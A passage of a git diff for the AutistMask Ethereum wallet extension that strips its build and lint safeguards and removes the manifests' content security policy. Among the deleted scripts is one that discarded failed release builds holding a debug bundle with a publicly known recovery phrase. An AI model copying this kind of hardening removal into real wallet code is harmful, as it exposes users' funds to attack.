-
-// Exported for tests/buildForbiddenInputs.test.js only. The prohibition these
-// three functions enforce is the guarantee behind
-// https://git.eeqj.de/sneak/AutistMask/issues/324, and `make check` does not
-// run `make build` — so they are unit tested against synthetic metafiles
-// rather than being exercised only by CI, where "it ran" is not "it works".
-module.exports = {
-    importChain,
-    newForbiddenRecord,
-    recordBundledInputs,
-    assertNoForbiddenInputs,
-    assertForbiddenTableCovered,
-};
+build();

docs/README.md

@@ -120,6 +120,21 @@ What gets sent: token symbol names (e.g. "ETH", "USDC"). No addresses, no
 balances, no identifying information. As with any request, CoinDesk sees your IP
 address.
 
+**Phishing domain blocklist** (`raw.githubusercontent.com`)
+
+A community-maintained list of phishing domains, used to warn you when a site
+that asks to connect, or to have a transaction or signature approved, is a known
+scam. A copy is bundled into the extension at build time, so the protection
+works before any network request happens. At runtime the extension fetches the
+live list to pick up newly added domains, keeping only the entries not already
+in the bundled copy (persisted locally if under 256 KiB). This endpoint is not
+user-configurable.
+
+When it is contacted: once when the background script starts, and every 24 hours
+after that. It is a plain download of a public file — nothing about you is sent,
+but the host sees your IP address. If the fetch fails, the bundled copy is still
+used.
+
 **Etherscan address labels** (`etherscan.io`; `sepolia.etherscan.io` on Sepolia)
 
 When you review a send, AutistMask fetches the recipient's public Etherscan
@@ -250,10 +265,7 @@ The confirmation screen shows:
 - **From and To addresses** with identicons and Etherscan links
 - **Amount** with USD estimate
 - **Your current balance** with USD estimate
-- **Network fee** — what the transfer is expected to cost, in ETH with a USD
-  estimate, and below it the larger amount reserved until it confirms. The
-  reserve is what the network requires up front and what the balance check gates
-  on; the refund of the difference is why the two differ
+- **Estimated network fee** in ETH with USD estimate
 - **Warnings** if the recipient is a contract, a burn address, one of your own
   addresses, on the bundled scam-address list, or labelled as a phisher on
   Etherscan
@@ -292,15 +304,10 @@ pages. When a site requests access to your wallet:
    time.
 
 When a connected site requests a transaction, a separate approval popup appears
-showing the transaction details (from, to, value, data, network fee, network and
-nonce). Every one of those values is checked against the transaction that is
-actually signed before anything is broadcast, so what you read on that screen is
-what goes out or nothing does. The popup appears once the wallet has worked out
-the fee and gas from the network, which takes a moment; if that fails, no popup
-appears and the site is told the transaction could not be prepared. You must
-enter your password and click "Confirm" to authorize it. Message and typed-data
-signature requests work the same way, with a "Sign" button, and also require
-your password.
+showing the transaction details (from, to, value, data). You must enter your
+password and click "Confirm" to authorize it. Message and typed-data signature
+requests work the same way, with a "Sign" button, and also require your
+password.
 
 If the requesting site's domain is on the phishing blocklist, all three approval
 screens show a red phishing warning before you decide.
@@ -313,19 +320,10 @@ individually removed to reset their permissions.
 AutistMask includes several defenses against common Ethereum scams, all enabled
 by default:
 
-**Known token symbol verification.** AutistMask ships a bundled list of
-high-market-cap ERC-20 tokens with their legitimate contract addresses — a
-point-in-time snapshot of the highest-market-cap Ethereum mainnet ERC-20s, fixed
-at build time and updated only when a new release ships a newer snapshot. If a
-transaction or balance claims to involve a known symbol (like "ETH" or "USDT")
-but comes from an unrecognized contract, it is identified as a spoof and hidden.
-In your transaction history this is the "Hide fake tokens impersonating a known
-symbol" setting, which you can switch off; doing so also stops new entries being
-added to the fraud contract blocklist below, since detecting a spoof is what
-fills it. The send token list always applies the check. Your balances apply it
-too, with one exception: a token claiming the symbol "ETH" is not filtered
-there, so a fake "ETH" token can still show up in your balance list even though
-it is hidden from your transaction history and from the send token list.
+**Known token symbol verification.** AutistMask ships a list of roughly 500
+legitimate ERC-20 tokens with their contract addresses. If a transaction or
+balance claims to involve a known symbol (like "ETH" or "USDT") but comes from
+an unrecognized contract, it is identified as a spoof and hidden.
 
 **Low-holder token filtering.** Tokens with fewer than 1,000 holders are hidden
 from transaction history and the send token list, and are left out of your
@@ -348,12 +346,8 @@ confirmation screen. It contains only addresses involved in fraud -- it is not a
 sanctions list.
 
 **Phishing domain warnings.** Sites asking to connect or to have something
-approved are checked against a community-maintained list of known phishing
-domains, and flagged with a red banner if they match. The list is built into the
-extension: the check is entirely local, so nobody is told which sites you visit,
-and it works offline. It is also only as current as the release you are running
-— a domain added to the list upstream reaches you in the next version of the
-extension, not the same day.
+approved are checked against the phishing domain blocklist described under
+External Services, and flagged with a red banner if they match.
 
 The first four filters can be individually disabled in Settings if you prefer to
 see everything unfiltered.
@@ -365,16 +359,16 @@ Click the gear icon on the home screen to access settings:
 - **Wallets**: Your wallets, and "+ Add wallet".
 - **Tracked Tokens**: The ERC-20 tokens tracked across all addresses, and "+ Add
   token".
-- **Display**: Toggle whether tracked tokens with zero balance are shown, switch
-  timestamps to UTC, and choose the theme (System, Light, or Dark).
+- **Display**: Toggle whether tracked tokens with zero balance are shown, and
+  choose the theme (System, Light, or Dark).
 - **Network**: Switch between Ethereum Mainnet and Sepolia Testnet. Switching
   resets the RPC and Blockscout endpoints to that network's defaults.
 - **Ethereum RPC**: Change the Ethereum node endpoint. Default is a public RPC.
   You can use your own node for maximum privacy.
 - **Blockscout API**: Change the Blockscout instance used for token balances and
   transaction history. You can use a self-hosted instance.
-- **Token Spam Protection**: Toggle individual scam filters and set the dust
-  transaction threshold.
+- **Token Spam Protection**: Toggle individual scam filters, set the dust
+  transaction threshold, and switch timestamps to UTC.
 - **Allowed Sites / Denied Sites**: View and manage web3 site permissions.
 - **About**: License, author, version, release date, and a link to the commit
   this build came from.

eslint.config.js

@@ -1,190 +0,0 @@
-// ESLint flat config. Static analysis for make check; formatting stays with
-// prettier (script/fmt-check), so nothing here touches style.
-//
-// The sources are CommonJS and are bundled per entrypoint by build.js, so the
-// globals differ by tree and are declared per tree below. Getting that wrong in
-// either direction defeats the point: too few globals buries a real no-undef in
-// false positives, too many hides the next unimported identifier.
-
-const js = require("@eslint/js");
-const globals = require("globals");
-const backgroundState = require("./script/lib/eslint/noStateSingletonInBackground");
-const {
-    BACKGROUND_ENTRY_PREFIX,
-} = require("./script/lib/forbiddenBundleInputs");
-
-// The extension APIs. MV3 Chrome exposes `chrome`; Firefox exposes both, and
-// the code feature-detects between them.
-const extensionGlobals = {
-    chrome: "readonly",
-    browser: "readonly",
-};
-
-const commonjs = {
-    ecmaVersion: 2024,
-    sourceType: "commonjs",
-};
-
-module.exports = [
-    {
-        ignores: ["dist/", "node_modules/"],
-    },
-
-    js.configs.recommended,
-
-    {
-        rules: {
-            // The two rules this config exists for. Both are already
-            // error-level in the recommended set; restated so a future
-            // recommended-set change cannot silently downgrade them.
-            "no-undef": "error",
-            // `_`-prefixed arguments are the deliberate "present for the
-            // interface, unused here" marker: the popup views share one
-            // init(ctx) signature and three of the eight do not read ctx.
-            // An unused catch binding is written `catch {`, which the repo
-            // already does, so caught errors stay checked.
-            "no-unused-vars": ["error", { argsIgnorePattern: "^_" }],
-
-            // Off tree-wide: it requires every rethrow to carry `{ cause }`,
-            // at 3 sites today (src/shared/balances.js 207 and 215,
-            // tests/e2e/firefox/run.js 131). That is a change to what the
-            // wallet's error paths actually throw, and it is a decision of its
-            // own rather than a side effect of turning a linter on — so it is
-            // off everywhere, including for new code, until that decision is
-            // made. Unlike no-useless-assignment below, this is not an
-            // accommodation of particular sites and must not be scoped to
-            // them.
-            "preserve-caught-error": "off",
-        },
-    },
-
-    // no-useless-assignment stays on everywhere except the two files that
-    // wipe decrypted key material: the `password = null` and
-    // `decryptedSecret = null` assignments after use are dead by construction
-    // — that is what a best-effort wipe is — and the rule's fix is to delete
-    // the wipe. 9 sites: approval.js 582, 593, 618, 648, 692, 703, 728, 764
-    // and confirmTx.js 459. Everything else in the tree is still checked, so
-    // an ordinary dead store elsewhere is still an error.
-    {
-        files: ["src/popup/views/approval.js", "src/popup/views/confirmTx.js"],
-        rules: {
-            "no-useless-assignment": "off",
-        },
-    },
-
-    // Popup and content scripts: page/window context.
-    {
-        files: ["src/popup/**/*.js", "src/content/**/*.js"],
-        languageOptions: {
-            ...commonjs,
-            globals: { ...globals.browser, ...extensionGlobals },
-        },
-    },
-
-    // MV3 background: a service worker, with no window and no document.
-    //
-    // It also may not reach src/shared/state.js. That module's `state` export
-    // is a per-bundle singleton loaded once and mutated in place, which is the
-    // popup's lifetime and not the worker's: the worker is killed when idle,
-    // nothing loads state at module scope, and an unpopulated read used to be
-    // served DEFAULT_STATE silently. Five defects came from background code
-    // reading or writing it (https://git.eeqj.de/sneak/AutistMask/issues/324),
-    // and each point fix added a loadState() that created the next one. The
-    // rule below checks reachability through the whole require graph, not just
-    // the direct require, because a re-export from any shared module the
-    // background already pulls in would put the singleton back in the bundle
-    // with no background file naming it.
-    //
-    // It is not the guarantee: build.js asserts the same prohibition against
-    // esbuild's own metafile, from the shared table in
-    // script/lib/forbiddenBundleInputs.js. This is the early report.
-    //
-    // The glob comes from that same file, because build.js uses the prefix to
-    // decide which entry points must be listed in the table at all: the two
-    // layers must not disagree about which files are "the background".
-    {
-        files: [`${BACKGROUND_ENTRY_PREFIX}**/*.js`],
-        plugins: { background: backgroundState },
-        languageOptions: {
-            ...commonjs,
-            globals: { ...globals.serviceworker, ...extensionGlobals },
-        },
-        rules: {
-            "background/no-state-singleton-in-background": "error",
-        },
-    },
-
-    // src/shared is bundled into both, so it may only use what both provide:
-    // the service worker globals are the intersection, plus the extension APIs.
-    {
-        files: ["src/shared/**/*.js"],
-        languageOptions: {
-            ...commonjs,
-            globals: { ...globals.serviceworker, ...extensionGlobals },
-        },
-    },
-
-    // src/shared/ens.js is the documented exception to the line above: its own
-    // header says POPUP ONLY, it caches in localStorage, and only popup views
-    // require it. Linting it as a service worker would be wrong about the file.
-    {
-        files: ["src/shared/ens.js"],
-        languageOptions: {
-            ...commonjs,
-            globals: { ...globals.browser, ...extensionGlobals },
-        },
-    },
-
-    // Unit tests, and the helpers they require: jest on node.
-    {
-        files: ["tests/**/*.test.js", "tests/support/**/*.js"],
-        languageOptions: {
-            ...commonjs,
-            globals: { ...globals.node, ...globals.jest },
-        },
-    },
-
-    // The build script is a plain node program.
-    {
-        files: ["build.js"],
-        languageOptions: {
-            ...commonjs,
-            globals: { ...globals.node },
-        },
-    },
-
-    // The helpers the script/ entrypoints call: plain node programs too, run
-    // from a shell script rather than from yarn, and never bundled.
-    {
-        files: ["script/lib/**/*.js"],
-        languageOptions: {
-            ...commonjs,
-            globals: { ...globals.node },
-        },
-    },
-
-    // The e2e harnesses are node programs that also carry, inline, the
-    // callbacks they ship into the browser via page.evaluate — so both
-    // contexts really are present in the same file and both sets of globals
-    // are in scope somewhere in it.
-    {
-        files: ["tests/e2e/**/*.js"],
-        languageOptions: {
-            ...commonjs,
-            globals: {
-                ...globals.node,
-                ...globals.browser,
-                ...extensionGlobals,
-            },
-        },
-    },
-
-    // This config file itself.
-    {
-        files: ["eslint.config.js"],
-        languageOptions: {
-            ...commonjs,
-            globals: { ...globals.node },
-        },
-    },
-];

manifest/chrome.json

@@ -3,18 +3,8 @@
     "name": "AutistMask",
     "version": "0.1.0",
     "description": "Minimal Ethereum wallet for Chrome",
-    "key": "MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAzy/G9gT4Z3Ci0HCmthUPEiCjENg+5meZpjdogyT7SiMfxENtHdrpDL6wGhAg1Dk0f1C67Ft8OYpMrMH3kiP2Wnt0UpHo45PY0YUUYzdJgbsp8u0kaykd5FFiY6FycIIFaTniMuh7wRKuNNdJWly+H3aG7qZ6nGu5PIMdb1GXUk35hY+yl7dz5dqFFYUCyxvWCT9XGBSYiI+XRBB/rVZjMWfWpaTmRPdOZ4+GO/Lx0OdMxKlPA/kLWoPot5vMlLn2FDPu6sASphiu7dKZnrINW+h/27jlHMJQS0jncB1EgqOHW0vbXrZnTveFX6UW+Qp86FfSkikhKtQgTW2A4mtWawIDAQAB",
-    "permissions": ["storage", "activeTab", "alarms"],
+    "permissions": ["storage", "activeTab"],
     "host_permissions": ["<all_urls>"],
-    "content_security_policy": {
-        "extension_pages": "default-src 'self'; script-src 'self' 'wasm-unsafe-eval'; object-src 'self'; style-src 'self' 'unsafe-inline'; img-src 'self' data:; connect-src 'self' https: http:; frame-src 'none'; form-action 'none'; base-uri 'none'"
-    },
-    "icons": {
-        "16": "icons/icon16.png",
-        "32": "icons/icon32.png",
-        "48": "icons/icon48.png",
-        "128": "icons/icon128.png"
-    },
     "action": {
         "default_popup": "src/popup/index.html"
     },

manifest/firefox.json

@@ -3,14 +3,7 @@
     "name": "AutistMask",
     "version": "0.1.0",
     "description": "Minimal Ethereum wallet for Firefox",
-    "permissions": ["storage", "activeTab", "alarms", "<all_urls>"],
-    "content_security_policy": "default-src 'self'; script-src 'self' 'wasm-unsafe-eval'; object-src 'self'; style-src 'self' 'unsafe-inline'; img-src 'self' data:; connect-src 'self' https: http:; frame-src 'none'; form-action 'none'; base-uri 'none'",
-    "icons": {
-        "16": "icons/icon16.png",
-        "32": "icons/icon32.png",
-        "48": "icons/icon48.png",
-        "128": "icons/icon128.png"
-    },
+    "permissions": ["storage", "activeTab", "<all_urls>"],
     "browser_action": {
         "default_popup": "src/popup/index.html"
     },

package.json

@@ -7,18 +7,14 @@
     "private": true,
     "scripts": {
         "test": "jest --forceExit",
-        "test:verbose": "jest --forceExit --verbose",
         "build": "node build.js",
-        "lint": "eslint . && prettier --check .",
+        "lint": "prettier --check .",
         "fmt": "prettier --write .",
         "fmt-check": "prettier --check ."
     },
     "devDependencies": {
-        "@eslint/js": "10.0.1",
         "@tailwindcss/cli": "^4.2.1",
         "esbuild": "^0.27.3",
-        "eslint": "10.8.1",
-        "globals": "17.11.0",
         "jest": "^30.2.0",
         "playwright-core": "1.56.0",
         "prettier": "^3.8.1",

script/check

@@ -1,14 +1,12 @@
 #!/bin/sh
-# script/check: run all checks (test, test-verify-build, lint, fmt-check).
-# Our own extension to scripts-to-rule-them-all. Must not modify any files.
+# script/check: run all checks (test, lint, fmt-check). Our own
+# extension to scripts-to-rule-them-all. Must not modify any files.
 set -eu
 
 SCRIPT_DIR="$(cd "$(dirname "$0")" && pwd -P)"
 
 main() {
     "$SCRIPT_DIR/test"
-    "$SCRIPT_DIR/test-verify-build"
-    "$SCRIPT_DIR/check-censored"
     "$SCRIPT_DIR/lint"
     "$SCRIPT_DIR/fmt-check"
 }

script/check-censored

@@ -1,301 +0,0 @@
-#!/bin/sh
-# script/check-censored: assert that the competitor name RULES.md bars appears
-# nowhere in this repo, and nowhere in the built extension, except where it is
-# deliberate. Our own extension to scripts-to-rule-them-all, run from
-# script/check and from make build.
-#
-# Where the name is allowed, and why each one is not negotiable away:
-#
-#   - script/vendor-blocklist. Build-time tooling, never shipped. A pinned
-#     source reference that does not say what the source is cannot be verified
-#     by anyone, so it names it. Whole-file exemption.
-#   - the two provider-shim identifiers in src/content/inpage.js. Protocol
-#     identifiers dApps feature-detect on; renaming them does not rename them in
-#     their code, it only stops this wallet working on their sites.
-#   - the on-chain name of the MUSD ERC-20 in src/shared/tokenList.js. It is not
-#     what backs symbol-spoof detection — that reads symbol and address — but
-#     the wallet already surfaces the on-chain name of any token the user holds
-#     (src/shared/balances.js), and this contract's on-chain name is that
-#     string, so censoring the repo cannot stop the wallet displaying it.
-#     Dropping the entry instead would cost the user MUSD spoof detection.
-#
-# Everything else fails, in the working tree and under dist/. The last two are
-# literals rather than whole files, so they are enforced by counting, and each
-# literal is scoped to the path allowed to carry it: a file may contain the name
-# only as many times as it contains the literals permitted *there*, and zero
-# times anywhere else. The emitted bundles carry them too, so a plain "the name
-# must not appear in dist/" could never have passed.
-#
-# The name itself is not written in this file. script/vendor-blocklist is the
-# one place in this repo that defines it, and this reads it back out of there —
-# so the repo-wide grep this check exists to enforce keeps returning exactly the
-# files named above, and this file is not one of them.
-set -eu
-
-ROOT="$(cd "$(dirname "$0")/.." && pwd -P)"
-
-# Absolute path to this script, resolved before anything cd's anywhere: the
-# scan half runs in a re-invocation through xargs, so that the paths it works on
-# arrive as arguments and cannot be reshaped by field splitting on the way in.
-SELF="$(cd "$(dirname "$0")" && pwd -P)/$(basename "$0")"
-
-# Internal re-entry flag. Not part of the command-line interface.
-SCAN_FLAG="--scan-paths"
-
-VENDOR_SCRIPT="$ROOT/script/vendor-blocklist"
-
-# Set by extract_name / make_literals_file.
-NAME=""
-ALLOWED_LITERALS_FILE=""
-
-FAILED=0
-
-cleanup() {
-    [ -z "$ALLOWED_LITERALS_FILE" ] || rm -f "$ALLOWED_LITERALS_FILE"
-}
-trap cleanup EXIT INT TERM
-
-fail() {
-    echo "check-censored: FAIL: $*" >&2
-    exit 1
-}
-
-# The name, taken from the single place that defines it. A check scanning for a
-# pattern it failed to read would pass against anything, so this refuses to
-# continue unless it got something that looks like the definition.
-extract_name() {
-    [ -f "$VENDOR_SCRIPT" ] ||
-        fail "$VENDOR_SCRIPT is missing, and it is where the name being
-    checked for is defined. Nothing was scanned."
-
-    NAME="$(grep -m1 '^UPSTREAM_ORG=' "$VENDOR_SCRIPT" | cut -d'"' -f2)" ||
-        fail "could not read UPSTREAM_ORG from $VENDOR_SCRIPT. Nothing was
-    scanned."
-
-    case "$NAME" in
-    "" | *[!A-Za-z0-9]*)
-        fail "UPSTREAM_ORG in $VENDOR_SCRIPT did not yield a plain name
-    (got: '$NAME'). Scanning for that would prove nothing. Nothing was
-    scanned."
-        ;;
-    esac
-}
-
-make_literals_file() {
-    ALLOWED_LITERALS_FILE="$(mktemp \
-        "${TMPDIR:-/tmp}/autistmask-censored.XXXXXX")" ||
-        fail "could not create a temporary file, so nothing was scanned."
-}
-
-# The literals $1 may carry, and nothing else may. Each contains the name
-# exactly once, which is what makes counting them sound; each is scoped to its
-# path, so a file with no business carrying the name fails even when it spells
-# it the way shipped code has to. Scoping is the point: permitting these
-# literals in any file is what once let this check pass its own prose.
-#
-# The emitted paths are listed next to the sources they come from. If the
-# bundler moves one, this goes red and the new path gets added deliberately,
-# rather than a wildcard over dist/ covering whatever lands there.
-allowed_literals_for() {
-    : >"$ALLOWED_LITERALS_FILE"
-    case "$1" in
-    src/content/inpage.js | dist/*/src/content/inpage.js)
-        printf 'is%s\n_%s\n' "$NAME" "$NAME" >"$ALLOWED_LITERALS_FILE"
-        ;;
-    src/shared/tokenList.js | dist/*/src/background/index.js | \
-        dist/*/src/popup/index.js)
-        printf '%s USD\n' "$NAME" >"$ALLOWED_LITERALS_FILE"
-        ;;
-    esac
-}
-
-# How many times does $1 contain the name (TOTAL), and how many of those are one
-# of the allowed literals (ALLOWED)? Same discipline the rest of this repo's
-# shell checks apply to grep: exit 0 and 1 are answers about the file, anything
-# else means the file was not searched and is not an answer at all.
-count_matches() {
-    _cm_status=0
-    _cm_out="$(grep -a -o -i -F -e "$NAME" -- "$1")" || _cm_status=$?
-    case "$_cm_status" in
-    0) TOTAL="$(printf '%s\n' "$_cm_out" | grep -c .)" ;;
-    1) TOTAL=0 ;;
-    *)
-        fail "grep exited $_cm_status reading $1, so the file was never
-    searched and nothing was established about it. That is a permissions or I/O
-    fault, not a clean file. Refusing to report success."
-        ;;
-    esac
-
-    if [ "$TOTAL" -eq 0 ]; then
-        ALLOWED=0
-        return 0
-    fi
-
-    # No literal is permitted at this path, so every occurrence is a violation.
-    # Handled here rather than by grep, which is not required to say anything
-    # useful about an empty pattern file.
-    if [ ! -s "$ALLOWED_LITERALS_FILE" ]; then
-        ALLOWED=0
-        return 0
-    fi
-
-    _cm_status=0
-    _cm_out="$(grep -a -o -i -F -f "$ALLOWED_LITERALS_FILE" -- "$1")" ||
-        _cm_status=$?
-    case "$_cm_status" in
-    0) ALLOWED="$(printf '%s\n' "$_cm_out" | grep -c .)" ;;
-    1) ALLOWED=0 ;;
-    *)
-        fail "grep exited $_cm_status matching the allowed literals in $1.
-    Refusing to report success."
-        ;;
-    esac
-}
-
-# The per-path half, run in a re-invocation of this script so it uses the same
-# counting as everything else rather than a second copy of it.
-scan_paths() {
-    for _file in "$@"; do
-        # dist/ arrives absolute (find) and the worktree relative (git
-        # ls-files). The allowlist is keyed on repo-relative paths, so both
-        # forms are reduced to one before anything is decided about them.
-        _rel="$_file"
-        case "$_rel" in
-        "$ROOT"/*) _rel="${_rel#"$ROOT"/}" ;;
-        esac
-
-        case "$_rel" in
-        script/vendor-blocklist) continue ;;
-        esac
-        [ -f "$_file" ] || continue
-
-        allowed_literals_for "$_rel"
-        count_matches "$_file"
-        [ "$TOTAL" -gt "$ALLOWED" ] || continue
-
-        FAILED=$((FAILED + 1))
-        echo "check-censored: $_rel: $TOTAL occurrence(s) of the name," \
-            "$ALLOWED of them allowed at this path" >&2
-        grep -a -n -i -F -e "$NAME" -- "$_file" | cut -c1-140 | head -5 >&2
-    done
-    [ "$FAILED" -eq 0 ]
-}
-
-# Hand a NUL-delimited listing to the scan half. Returns non-zero if any path
-# failed, or if the scan could not be run at all.
-scan_listing() {
-    xargs -0 "$SELF" "$SCAN_FLAG" <"$1"
-}
-
-# Every file git tracks, plus everything untracked and not ignored: the working
-# tree as a reviewer would see it, and never node_modules or dist/ (both are
-# ignored; dist/ is walked separately below).
-check_worktree() {
-    _list="$(mktemp "${TMPDIR:-/tmp}/autistmask-censored-tree.XXXXXX")" ||
-        fail "could not create a temporary file, so nothing was scanned."
-    _status=0
-    git ls-files -z --cached --others --exclude-standard >"$_list" ||
-        _status=$?
-    [ "$_status" -eq 0 ] || {
-        rm -f "$_list"
-        fail "git ls-files exited $_status, so the working tree was never
-    enumerated and nothing was established about it."
-    }
-
-    # Repo-relative paths. The scan half cd's to the repo root before it opens
-    # anything, so they reach it intact and unjoined.
-    WORKTREE_COUNT="$(tr -dc '\0' <"$_list" | wc -c | tr -d ' ')"
-
-    _status=0
-    scan_listing "$_list" || _status=$?
-    rm -f "$_list"
-    return "$_status"
-}
-
-check_dist() {
-    _list="$(mktemp "${TMPDIR:-/tmp}/autistmask-censored-dist.XXXXXX")" ||
-        fail "could not create a temporary file, so dist/ was not scanned."
-    _status=0
-    find "$ROOT/dist" -type f -print0 >"$_list" || _status=$?
-    [ "$_status" -eq 0 ] || {
-        rm -f "$_list"
-        fail "find exited $_status enumerating dist/, so part of the emitted
-    tree was never walked and an unchecked file there went unchecked. Refusing
-    to report success."
-    }
-
-    DIST_COUNT="$(tr -dc '\0' <"$_list" | wc -c | tr -d ' ')"
-
-    _status=0
-    scan_listing "$_list" || _status=$?
-    rm -f "$_list"
-    return "$_status"
-}
-
-usage() {
-    echo "usage: script/check-censored [--require-dist]" >&2
-    exit 2
-}
-
-main() {
-    cd "$ROOT"
-
-    # Internal re-entry from scan_listing's xargs.
-    if [ "${1-}" = "$SCAN_FLAG" ]; then
-        shift
-        extract_name
-        make_literals_file
-        scan_paths "$@"
-        return $?
-    fi
-
-    require_dist=no
-    case "${1-}" in
-    "") ;;
-    --require-dist) require_dist=yes ;;
-    *) usage ;;
-    esac
-
-    extract_name
-    make_literals_file
-
-    echo "Checking for censored names..."
-
-    tree_status=0
-    check_worktree || tree_status=$?
-
-    dist_status=0
-    dist_inspected=no
-    DIST_COUNT=0
-    if [ -d "$ROOT/dist" ]; then
-        dist_inspected=yes
-        check_dist || dist_status=$?
-    fi
-
-    if [ "$tree_status" -ne 0 ] || [ "$dist_status" -ne 0 ]; then
-        fail "the name appears outside the deliberate exceptions (reported
-    above). See the header of script/check-censored for what is allowed and
-    why."
-    fi
-
-    if [ "$dist_inspected" = no ]; then
-        if [ "$require_dist" = yes ]; then
-            fail "there is no dist/ to inspect and this run was asked to
-    require one. Run make build."
-        fi
-        cat <<EOF
-################################################################################
-## WARNING: dist/ WAS NOT INSPECTED BY THIS RUN AND IS NOT PROVEN CLEAN BY IT.
-## There is no dist/ in this tree. The working tree is clean, but a build can
-## carry text no source file does — a dependency's, or a bundler's. Every
-## make build runs this check again with dist/ required, so a release artifact
-## is always covered; this run simply had none to look at.
-################################################################################
-EOF
-    fi
-
-    echo "check-censored: $WORKTREE_COUNT tracked file(s) inspected," \
-        "$DIST_COUNT file(s) under dist/"
-}
-
-main "$@"

script/discard-dist-on-failure

@@ -1,78 +0,0 @@
-#!/bin/sh
-# script/discard-dist-on-failure: run one step of the RELEASE build, and if that
-# step fails, remove dist/ before returning its exit status. Our own extension
-# to scripts-to-rule-them-all, wrapped around every step of make build.
-#
-# Why: with AUTISTMASK_DEBUG=1 exported in the calling shell, make build
-# compiles a debug bundle and then fails on it in script/verify-build — but the
-# bundle is already written. It is loadable, and every wallet it creates gets
-# the publicly committed test recovery phrase from src/shared/constants.js. A
-# failed release build that leaves that behind is a smaller version of the trap
-# the verifier exists to close, and "the failure was loud" only works on an
-# operator who does not load dist/chrome/ anyway. Removing the artifact does not
-# depend on that.
-#
-# Two things this deliberately does not do. It does not wrap make build-debug: a
-# debug build that failed is not a mistakable artifact, and its output is the
-# evidence of what went wrong. And it never removes anything on a step that
-# SUCCEEDS, including the final check-censored --require-dist pass.
-#
-# The removal is never silent: it says dist/ is gone and why, on stderr, above
-# the build's own failure.
-set -eu
-
-ROOT="$(cd "$(dirname "$0")/.." && pwd -P)"
-DIST="$ROOT/dist"
-
-usage() {
-    echo "usage: discard-dist-on-failure COMMAND [ARG...]" >&2
-}
-
-# Remove dist/, and say so. A removal that could not be completed is reported as
-# loudly as one that was: the artifact is still on disk, and reporting nothing
-# would leave the operator believing it is not.
-discard_dist() {
-    if [ ! -e "$DIST" ] && [ ! -h "$DIST" ]; then
-        echo "discard-dist-on-failure: the release build failed. There was no" \
-            "dist/ to remove." >&2
-        return 0
-    fi
-
-    rm -rf "$DIST" || true
-
-    if [ -e "$DIST" ] || [ -h "$DIST" ]; then
-        echo "discard-dist-on-failure: the release build failed and dist/" \
-            "COULD NOT BE REMOVED, so it is still on disk. Do not load it:" \
-            "a release build that failed may hold a complete debug bundle," \
-            "whose wallets all use the publicly committed test recovery" \
-            "phrase. Remove it by hand (make clean)." >&2
-        return 0
-    fi
-
-    echo "discard-dist-on-failure: the release build failed, so dist/ WAS" \
-        "REMOVED and no longer exists. A release build that fails has often" \
-        "already emitted a complete, loadable debug bundle — every wallet it" \
-        "creates gets the publicly committed test recovery phrase — so the" \
-        "failed build is not left behind to be loaded. Fix the failure and" \
-        "re-run make build, or run make build-debug if a debug build is what" \
-        "was wanted; that target keeps its output." >&2
-}
-
-main() {
-    [ "$#" -ge 1 ] || {
-        usage
-        echo "discard-dist-on-failure: no command given, so no build step ran" \
-            "and nothing was removed." >&2
-        exit 1
-    }
-
-    _status=0
-    "$@" || _status=$?
-
-    [ "$_status" -ne 0 ] || return 0
-
-    discard_dist
-    exit "$_status"
-}
-
-main "$@"

script/lib/build-blocklist.js

@@ -1,147 +0,0 @@
-// The transform half of script/vendor-blocklist: upstream's config.json in,
-// src/shared/phishingBlocklist.json out. Build-time repo tooling; nothing here
-// is shipped to users.
-//
-// Usage: node script/lib/build-blocklist.js <source.json> <output.json>
-//
-// What it does, and why each step is here:
-//
-//   - only the blacklist is carried over. The extension matches a hostname and
-//     its parent domains against that one list; upstream's whitelist, fuzzylist
-//     and version metadata are read by nothing here, so shipping them would add
-//     megabytes of dead weight to every install.
-//   - entries are lowercased and de-duplicated, because that is the form
-//     isPhishingDomain() compares against.
-//   - entries that cannot be a hostname are dropped and counted. Upstream
-//     carries the odd URL-shaped entry (a path, a scheme); hostname matching can
-//     never match one, and once the artifact is hashes nobody can see that it is
-//     in there, so it is reported at vendoring time instead.
-//   - entries are hashed (see src/shared/domainHash.js) and sorted, and the
-//     digests are concatenated into one fixed-width string. Sorted is what makes
-//     the runtime lookup a binary search over that string, with no set to build
-//     on every service-worker wake; one string rather than an array of 100k+ is
-//     what keeps the file, the bundle and the JSON parse small.
-//
-// Deterministic by construction: same input bytes, same output bytes.
-
-"use strict";
-
-const fs = require("fs");
-
-const {
-    HASH_ALGORITHM,
-    HASH_HEX_CHARS,
-    hashDomain,
-} = require("../../src/shared/domainHash");
-
-// A blocklist that has collapsed to a handful of entries is a broken fetch or a
-// changed upstream shape, not a quiet day in phishing. Vendoring it would
-// disarm the feature, so it fails instead and a human decides.
-const MIN_ENTRIES = 10000;
-
-function fail(message) {
-    process.stderr.write("build-blocklist: " + message + "\n");
-    process.exit(1);
-}
-
-// A hostname, as the matcher understands one: dot-separated labels of letters,
-// digits, hyphens and underscores. Anything else — a path, a scheme, a space,
-// an empty string, a non-ASCII label a browser would have punycoded before it
-// ever reached isPhishingDomain() — cannot be produced by the hostname variants
-// the extension looks up, so it could only ever sit in the artifact unused.
-//
-// Underscores are deliberate. They are not legal in a hostname per RFC 1123,
-// but DNS carries them and browsers resolve them, and upstream lists 141 entries
-// that use one — real phishing sites on shared subdomain hosts. A stricter
-// pattern silently drops every one of them.
-const HOSTNAME_RE =
-    /^[a-z0-9_]([a-z0-9_-]*[a-z0-9_])?(\.[a-z0-9_]([a-z0-9_-]*[a-z0-9_])?)+$/;
-
-function main(argv) {
-    const [source, output] = argv;
-    if (!source || !output) {
-        fail("usage: build-blocklist.js <source.json> <output.json>");
-    }
-
-    let config;
-    try {
-        config = JSON.parse(fs.readFileSync(source, "utf8"));
-    } catch (e) {
-        fail("could not read " + source + " as JSON: " + e.message);
-    }
-
-    if (!Array.isArray(config.blacklist)) {
-        fail(
-            "the source has no blacklist array, so its shape is not the one " +
-                "this transform understands. Refusing to write an artifact.",
-        );
-    }
-
-    const seen = new Set();
-    let dropped = 0;
-    for (const raw of config.blacklist) {
-        if (typeof raw !== "string") {
-            dropped++;
-            continue;
-        }
-        const domain = raw.trim().toLowerCase();
-        if (!HOSTNAME_RE.test(domain)) {
-            dropped++;
-            continue;
-        }
-        seen.add(domain);
-    }
-
-    if (seen.size < MIN_ENTRIES) {
-        fail(
-            "the source yielded " +
-                seen.size +
-                " usable entries, below the " +
-                MIN_ENTRIES +
-                " floor. That is a broken source or a changed upstream " +
-                "shape, and vendoring it would disarm phishing detection. " +
-                "Refusing to write an artifact.",
